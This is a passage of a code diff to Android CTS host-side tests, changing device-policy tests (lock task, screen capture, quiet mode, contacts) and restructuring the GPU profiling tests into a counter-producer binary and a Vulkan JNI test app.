diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java
new file mode 100644
index 0000000..88e0f12
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/src/com/android/cts/modifyquietmodeenabledapp/ModifyQuietModeEnabledAppReceiver.java
@@ -0,0 +1,15 @@
+package com.android.cts.modifyquietmodeenabledapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Slog;
+
+public class ModifyQuietModeEnabledAppReceiver extends BroadcastReceiver {
+    private static final String TAG = "ModifyQuietModeEnabledAppReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Slog.w(TAG, String.format("onReceive(%s)", intent.getAction()));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index 409b076..4321f38 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -26,6 +26,7 @@
 import android.content.pm.ResolveInfo;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.SystemClock;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
@@ -47,6 +48,7 @@
 
     private static final String TAG = LockTaskHostDrivenTest.class.getName();
     private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final int LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS = 10000;  // 10 seconds
     private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
     private static final String LOCK_TASK_ACTIVITY
             = LockTaskUtilityActivityIfWhitelisted.class.getName();
@@ -114,6 +116,25 @@
         mUiDevice.waitForIdle();
     }
 
+    /**
+      * Poll for {@link ActivityManager#getLockTaskModeState()} to equal
+      * {@link ActivityManager#LOCK_TASK_MODE_NONE}
+      *
+      * <p>This will check every 500 milliseconds for a maximum of
+     * {@link #LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS} milliseconds.
+      */
+    private void waitForLockTaskModeStateNone() {
+        long delayed = 0;
+        long delay = 500;
+        while (delayed <= LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS) {
+            if (mActivityManager.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_NONE) {
+                break;
+            }
+            SystemClock.sleep(delay);
+            delayed += delay;
+        }
+    }
+
     public void testLockTaskIsExitedIfNotWhitelisted() throws Exception {
         Log.d(TAG, "testLockTaskIsExitedIfNotWhitelisted on host-driven test");
 
@@ -129,6 +150,7 @@
 
         // Remove it from whitelist
         setLockTaskPackages();
+        waitForLockTaskModeStateNone();
         mUiDevice.waitForIdle();
 
         // The activity should be finished and exit lock task mode
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
index f59803b..ed420f1 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
@@ -16,7 +16,6 @@
 package com.android.cts.deviceandprofileowner;
 
 import android.app.admin.DevicePolicyManager;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import android.util.Log;
 
 /**
@@ -34,35 +33,32 @@
         super.setUp();
     }
 
-    public void testSetScreenCaptureDisabled_false() throws Exception {
+    public void testSetScreenCaptureDisabled_false() {
         mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(mDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
         assertFalse(mDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
     }
 
-    public void testSetScreenCaptureDisabled_true() throws Exception {
+    public void testSetScreenCaptureDisabled_true() {
         mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
         assertTrue(mDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
         assertTrue(mDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
     }
 
-    public void testSetScreenCaptureDisabledOnParent() throws Exception {
+    public void testSetScreenCaptureDisabledOnParent_false() {
         DevicePolicyManager parentDevicePolicyManager =
                 mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
-        boolean initial = parentDevicePolicyManager.getScreenCaptureDisabled(
-                ADMIN_RECEIVER_COMPONENT);
-
-        parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
-        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
-        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
-        testScreenCaptureImpossible();
-
         parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
         assertFalse(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
-        testScreenCapturePossible();
+    }
 
-        parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, initial);
+    public void testSetScreenCaptureDisabledOnParent_true() {
+        DevicePolicyManager parentDevicePolicyManager =
+                mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        parentDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, true);
+        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
+        assertTrue(parentDevicePolicyManager.getScreenCaptureDisabled(null /* any admin */));
     }
 
     public void testScreenCaptureImpossible() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index bf67cc0..f6ad171 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -16,10 +16,14 @@
     name: "SimpleSmsApp",
     sdk_version: "test_current",
     srcs: ["src/**/*.java"],
+    defaults: ["cts_defaults"],
     static_libs: [
         "cts-devicepolicy-suspensionchecker",
     ],
     test_suites: [
+        "arcts",
         "cts",
+        "vts10",
+        "general-tests",
     ],
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index d828b86..5beb487 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -726,6 +726,7 @@
         try {
             // Install and enable assistant, notice that profile can't have assistant.
             installAppAsUser(ASSIST_APP_APK, mPrimaryUserId);
+            waitForBroadcastIdle();
             setVoiceInteractionService(ASSIST_INTERACTION_SERVICE);
             setScreenCaptureDisabled_assist(mUserId, true /* disabled */);
         } finally {
@@ -1223,6 +1224,9 @@
             // Reboot while in kiosk mode and then unlock the device
             rebootAndWaitUntilReady();
 
+            // Wait for the LockTask starting
+            waitForBroadcastIdle();
+
             // Try to open settings via adb
             executeShellCommand("am start -a android.settings.SETTINGS");
 
@@ -2219,13 +2223,9 @@
                 ? "testScreenCaptureImpossible"
                 : "testScreenCapturePossible";
 
-        if (userId == mPrimaryUserId) {
-            // If testing for user-0, also make sure the existing screen can't be captured.
-            executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
-        }
-
         startSimpleActivityAsUser(userId);
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
+        forceStopPackageForUser(TEST_APP_PKG, userId);
     }
 
     protected void setScreenCaptureDisabled_assist(int userId, boolean disabled) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
index 2ed1e30..5492cf2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
@@ -150,6 +150,9 @@
                     "settings put --user " + mProfileUserId
                     + " secure managed_profile_contact_remote_search 1");
 
+            // Wait for updating cache
+            waitForBroadcastIdle();
+
             // Add test account
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
                     "testAddTestAccount", mParentUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index f575fc7..875803c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -49,6 +49,8 @@
     private static final String ACTION_WIPE_DATA =
             "com.android.cts.deviceandprofileowner.WIPE_DATA";
 
+    private static final String TEST_APP_APK = "CtsSimpleApp.apk";
+    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
     private static final String DUMMY_IME_APK = "DummyIme.apk";
     private static final String DUMMY_IME_PKG = "com.android.cts.dummyime";
     private static final String DUMMY_IME_COMPONENT = DUMMY_IME_PKG + "/.DummyIme";
@@ -554,8 +556,41 @@
         if (!mHasFeature) {
             return;
         }
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        setPoAsUser(mPrimaryUserId);
+
+        try {
+            setScreenCaptureDisabled(true);
+        } finally {
+            setScreenCaptureDisabled(false);
+        }
+    }
+
+    private void takeScreenCaptureAsUser(int userId, String testMethodName) throws Exception {
+        installAppAsUser(TEST_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true, userId);
+        startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ScreenCaptureDisabledTest",
-                "testSetScreenCaptureDisabledOnParent", mUserId);
+                testMethodName, userId);
+        forceStopPackageForUser(TEST_APP_PKG, userId);
+    }
+
+    private void setScreenCaptureDisabled(boolean disabled) throws Exception {
+        String testMethodName = disabled
+                ? "testSetScreenCaptureDisabledOnParent_true"
+                : "testSetScreenCaptureDisabledOnParent_false";
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ScreenCaptureDisabledTest",
+                testMethodName, mUserId);
+
+        testMethodName = disabled
+                ? "testScreenCaptureImpossible"
+                : "testScreenCapturePossible";
+
+        // Test personal profile
+        takeScreenCaptureAsUser(mPrimaryUserId, testMethodName);
+
+        // Test managed profile. This should not be disabled when screen capture is disabled on
+        // the parent by the profile owner of an organization-owned device.
+        takeScreenCaptureAsUser(mUserId, "testScreenCapturePossible");
     }
 
     private void assertHasNoUser(int userId) throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 47fcf7a..1313c31 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -28,6 +28,7 @@
     private static final String ENABLED_TEST_APK = "CtsCrossProfileEnabledApp.apk";
     private static final String USER_ENABLED_TEST_APK = "CtsCrossProfileUserEnabledApp.apk";
     private static final String ENABLED_NO_PERMS_TEST_APK = "CtsCrossProfileEnabledNoPermsApp.apk";
+    private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsModifyQuietModeEnabledApp.apk";
     private static final String NOT_ENABLED_TEST_APK = "CtsCrossProfileNotEnabledApp.apk";
     private static final String ENABLED_TEST_PACKAGE = "com.android.cts.crossprofileenabledapp";
     private static final String USER_ENABLED_TEST_PACKAGE =
@@ -36,6 +37,8 @@
             "com.android.cts.crossprofileenablednopermsapp";
     private static final String NOT_ENABLED_TEST_PACKAGE =
             "com.android.cts.crossprofilenotenabledapp";
+    private static final String QUIET_MODE_ENABLED_TEST_PACKAGE =
+            "com.android.cts.modifyquietmodeenabledapp";
 
     private int mProfileId;
     private String mOriginalLauncher;
@@ -194,6 +197,8 @@
         assertThat(result).doesNotContain(
                 buildReceivedBroadcastRegex(actionName,
                         "CrossProfileNotEnabledAppReceiver"));
+        assertThat(result).contains(
+                buildReceivedBroadcastRegex(actionName, "ModifyQuietModeEnabledAppReceiver"));
     }
 
     private String buildReceivedBroadcastRegex(String actionName, String className) {
@@ -231,6 +236,7 @@
         getDevice().uninstallPackage(USER_ENABLED_TEST_PACKAGE);
         getDevice().uninstallPackage(ENABLED_NO_PERMS_TEST_PACKAGE);
         getDevice().uninstallPackage(NOT_ENABLED_TEST_PACKAGE);
+        getDevice().uninstallPackage(QUIET_MODE_ENABLED_TEST_PACKAGE);
     }
 
     private void installCrossProfileApps()
@@ -239,6 +245,7 @@
         installCrossProfileApp(USER_ENABLED_TEST_APK, /* grantPermissions= */ true);
         installCrossProfileApp(NOT_ENABLED_TEST_APK, /* grantPermissions= */ true);
         installCrossProfileApp(ENABLED_NO_PERMS_TEST_APK, /* grantPermissions= */  false);
+        installCrossProfileApp(QUIET_MODE_ENABLED_TEST_APK, /* grantPermissions= */  true);
     }
 
     private void enableCrossProfileAppsOp() throws DeviceNotAvailableException {
diff --git a/hostsidetests/graphics/gpuprofiling/AndroidTest.xml b/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
index 6dd7410..bfaa33e 100644
--- a/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
+++ b/hostsidetests/graphics/gpuprofiling/AndroidTest.xml
@@ -20,9 +20,13 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsGraphicsProfilingDataApp.apk" />
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="ctsgraphicsgpuprofilinginit->/data/local/tmp/ctsgraphicsgpuprofilinginit" />
+        <option name="push" value="ctsgraphicsgpucountersinit->/data/local/tmp/ctsgraphicsgpucountersinit" />
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/graphics/gpuprofiling/app/Android.bp b/hostsidetests/graphics/gpuprofiling/app/Android.bp
index 6c05ece..9bb6ce7 100644
--- a/hostsidetests/graphics/gpuprofiling/app/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/app/Android.bp
@@ -13,11 +13,11 @@
 // limitations under the License.
 
 cc_test {
-    name: "ctsgraphicsgpuprofilinginit",
+    name: "ctsgraphicsgpucountersinit",
     srcs: [
-        "android_graphics_cts_GpuProfilingData.cpp",
+        "android_graphics_cts_GpuCounters.cpp",
     ],
-    test_suites: ["cts"],
+    test_suites: ["cts", "general-tests"],
     compile_multilib: "both",
     multilib: {
         lib32: {
@@ -34,9 +34,44 @@
     shared_libs: [
         "libdl",
         "libandroid",
-        "libvulkan",
         "liblog",
     ],
     stl: "c++_static",
     sdk_version: "current",
 }
+
+cc_test_library {
+    name: "libctsgraphicsgpuprofiling_jni",
+    gtest: false,
+    srcs: [
+        "jni/CtsGraphicsProfilingDataJniOnLoad.cpp",
+        "jni/android_graphics_cts_GpuRenderStages.cpp",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    header_libs: ["jni_headers"],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsGraphicsProfilingDataApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts", "general-tests"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libctsgraphicsgpuprofiling_jni",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
new file mode 100644
index 0000000..da58bef
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.graphics.gpuprofiling.app">
+    <application android:extractNativeLibs="true" android:debuggable="true">
+        <activity android:name=".GpuRenderStagesDeviceActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp b/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp
new file mode 100644
index 0000000..c710d4f
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuCounters.cpp
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "GpuProfilingData"
+
+#include <chrono>
+#include <csignal>
+#include <string>
+#include <thread>
+#include <unistd.h>
+#include <vector>
+
+#include <android/log.h>
+#include <dlfcn.h>
+
+#define ALOGI(msg, ...)                                                        \
+  __android_log_print(ANDROID_LOG_INFO, LOG_TAG, (msg), __VA_ARGS__)
+#define ALOGE(msg, ...)                                                        \
+  __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, (msg), __VA_ARGS__)
+#define ALOGD(msg, ...)                                                        \
+  __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, (msg), __VA_ARGS__)
+#define REQUIRE_SUCCESS(fn, name)                                              \
+  do {                                                                         \
+    if (VK_SUCCESS != fn) {                                                    \
+      ALOGE("Vulkan Error in %s", name);                                       \
+      return -1;                                                               \
+    }                                                                          \
+  } while (0)
+
+namespace {
+
+typedef void (*FN_PTR)(void);
+
+/**
+ * Load the vendor provided counter producer library.
+ * startCounterProducer is a thin rewrite of the same producer loading logic in
+ * github.com/google/agi
+ */
+
+int startCounterProducer() {
+  ALOGI("%s", "Loading producer library");
+  char *error;
+  std::string libDir = sizeof(void *) == 8 ? "lib64" : "lib";
+  std::string producerPath = "/vendor/" + libDir + "/libgpudataproducer.so";
+
+  ALOGI("Trying %s", producerPath.c_str());
+  void *handle = dlopen(producerPath.c_str(), RTLD_GLOBAL);
+  if ((error = dlerror()) != nullptr || handle == nullptr) {
+    ALOGE("Error loading lib: %s", error);
+    return -1;
+  }
+
+  FN_PTR startFunc = (FN_PTR)dlsym(handle, "start");
+  if ((error = dlerror()) != nullptr) {
+    ALOGE("Error looking for start symbol: %s", error);
+    dlclose(handle);
+    return -1;
+  }
+
+  if (startFunc == nullptr) {
+    ALOGE("Did not find the producer library %s", producerPath.c_str());
+    ALOGE("LD_LIBRARY_PATH=%s", getenv("LD_LIBRARY_PATH"));
+    return -1;
+  }
+
+  ALOGI("Calling start at %p", startFunc);
+  (*startFunc)();
+  ALOGI("Producer %s has exited.", producerPath.c_str());
+  dlclose(handle);
+  return 0;
+}
+
+volatile std::sig_atomic_t done = 0;
+
+} // anonymous namespace
+
+int main() {
+  std::signal(SIGTERM, [](int /*signal*/) {
+    ALOGI("%s", "SIGTERM received");
+    done = 1;
+  });
+  std::thread dummy([&]() {
+    int result = startCounterProducer();
+    ALOGI("%s %d", "startCounterProducer returned", result);
+  });
+  ALOGI("%s", "Waiting for host");
+  while (!done) {
+    std::this_thread::sleep_for(std::chrono::milliseconds(100));
+  }
+  return 0;
+}
diff --git a/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp b/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp
new file mode 100644
index 0000000..5948ff8
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/jni/CtsGraphicsProfilingDataJniOnLoad.cpp
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_gputools_cts_GpuProfilingData(JNIEnv *);
+
+jint JNI_OnLoad(JavaVM *vm, void * /*reserved*/) {
+  JNIEnv *env = nullptr;
+  if (vm->GetEnv((void **)&env, JNI_VERSION_1_4) != JNI_OK)
+    return JNI_ERR;
+  if (register_android_gputools_cts_GpuProfilingData(env))
+    return JNI_ERR;
+  return JNI_VERSION_1_4;
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp b/hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
similarity index 70%
rename from hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp
rename to hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
index 19439c0..e0d49c0 100644
--- a/hostsidetests/graphics/gpuprofiling/app/android_graphics_cts_GpuProfilingData.cpp
+++ b/hostsidetests/graphics/gpuprofiling/app/jni/android_graphics_cts_GpuRenderStages.cpp
@@ -17,15 +17,12 @@
 
 #define LOG_TAG "GpuProfilingData"
 
-#include <chrono>
-#include <csignal>
-#include <string>
-#include <thread>
-#include <unistd.h>
 #include <vector>
 
 #include <android/log.h>
 #include <dlfcn.h>
+#include <jni.h>
+#include <string>
 #include <vulkan/vulkan.h>
 
 #define ALOGI(msg, ...)                                                        \
@@ -46,48 +43,7 @@
 
 typedef void (*FN_PTR)(void);
 
-/**
- * Load the vendor provided counter producer library.
- * startCounterProducer is a thin rewrite of the same producer loading logic in
- * github.com/google/agi
- */
-
-int startCounterProducer() {
-  ALOGI("%s", "Loading producer library");
-  char *error;
-  std::string libDir = sizeof(void *) == 8 ? "lib64" : "lib";
-  std::string producerPath = "/vendor/" + libDir + "/libgpudataproducer.so";
-
-  ALOGI("Trying %s", producerPath.c_str());
-  void *handle = dlopen(producerPath.c_str(), RTLD_GLOBAL);
-  if ((error = dlerror()) != nullptr || handle == nullptr) {
-    ALOGE("Error loading lib: %s", error);
-    return -1;
-  }
-
-  FN_PTR startFunc = (FN_PTR)dlsym(handle, "start");
-  if ((error = dlerror()) != nullptr) {
-    ALOGE("Error looking for start symbol: %s", error);
-    dlclose(handle);
-    return -1;
-  }
-
-  if (startFunc == nullptr) {
-    ALOGE("Did not find the producer library %s", producerPath.c_str());
-    ALOGE("LD_LIBRARY_PATH=%s", getenv("LD_LIBRARY_PATH"));
-    return -1;
-  }
-
-  ALOGI("Calling start at %p", startFunc);
-  (*startFunc)();
-  ALOGI("Producer %s has exited.", producerPath.c_str());
-  dlclose(handle);
-  return 0;
-}
-
-int initVulkan(VkDevice &device) {
-  std::string result = "";
-
+int initVulkan() {
   const VkApplicationInfo appInfo = {
       VK_STRUCTURE_TYPE_APPLICATION_INFO,
       nullptr,            // pNext
@@ -171,34 +127,27 @@
       nullptr,
   };
 
+  VkDevice device;
+
   REQUIRE_SUCCESS(
       vkCreateDevice(physicalDevice, &deviceCreateInfo, nullptr, &device),
       "vkCreateDevice");
-
   return 0;
 }
 
-volatile std::sig_atomic_t done = 0;
+jint android_graphics_cts_GpuProfilingData_nativeInitVulkan(JNIEnv * /*env*/,
+                                                            jclass /*clazz*/) {
+  return (jint)initVulkan();
+}
 
+static JNINativeMethod gMethods[] = {
+    {"nativeInitVulkan", "()I",
+     (void *)android_graphics_cts_GpuProfilingData_nativeInitVulkan}};
 } // anonymous namespace
 
-int main() {
-  ALOGI("%s", "Creating Vulkan device");
-  VkDevice device;
-  std::signal(SIGTERM, [](int /*signal*/) {
-    ALOGI("%s", "SIGTERM received");
-    done = 1;
-  });
-  int result = initVulkan(device);
-  ALOGI("%s %d", "initVulkan returned", result);
-  std::thread dummy([&]() {
-    result = startCounterProducer();
-    ALOGI("%s %d", "startCounterProducer returned", result);
-  });
-  ALOGI("%s", "Waiting for host");
-  while (!done) {
-    std::this_thread::sleep_for(std::chrono::milliseconds(100));
-  }
-  vkDestroyDevice(device, nullptr);
-  return 0;
-}
+int register_android_gputools_cts_GpuProfilingData(JNIEnv *env) {
+  jclass clazz = env->FindClass(
+      "android/graphics/gpuprofiling/app/GpuRenderStagesDeviceActivity");
+  return env->RegisterNatives(clazz, gMethods,
+                              sizeof(gMethods) / sizeof(JNINativeMethod));
+}
\ No newline at end of file
diff --git a/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java b/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java
new file mode 100644
index 0000000..e6bd660
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/app/src/android/gpuprofiling/GpuRenderStagesDeviceActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.gpuprofiling.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+public class GpuRenderStagesDeviceActivity extends Activity {
+
+    static {
+        System.loadLibrary("ctsgraphicsgpuprofiling_jni");
+    }
+
+    private static final String TAG = GpuRenderStagesDeviceActivity.class.getSimpleName();
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        int result = nativeInitVulkan();
+        Log.i(TAG, "nativeInitVulkan returned: " + result);
+        Log.i(TAG, "GpuProfilingData activity complete");
+    }
+
+    private static native int nativeInitVulkan();
+}
diff --git a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
index ff33375..f5654cd 100644
--- a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
+++ b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsGpuProfilingDataTest.java
@@ -17,6 +17,7 @@
 package android.graphics.gpuprofiling.cts;
 
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
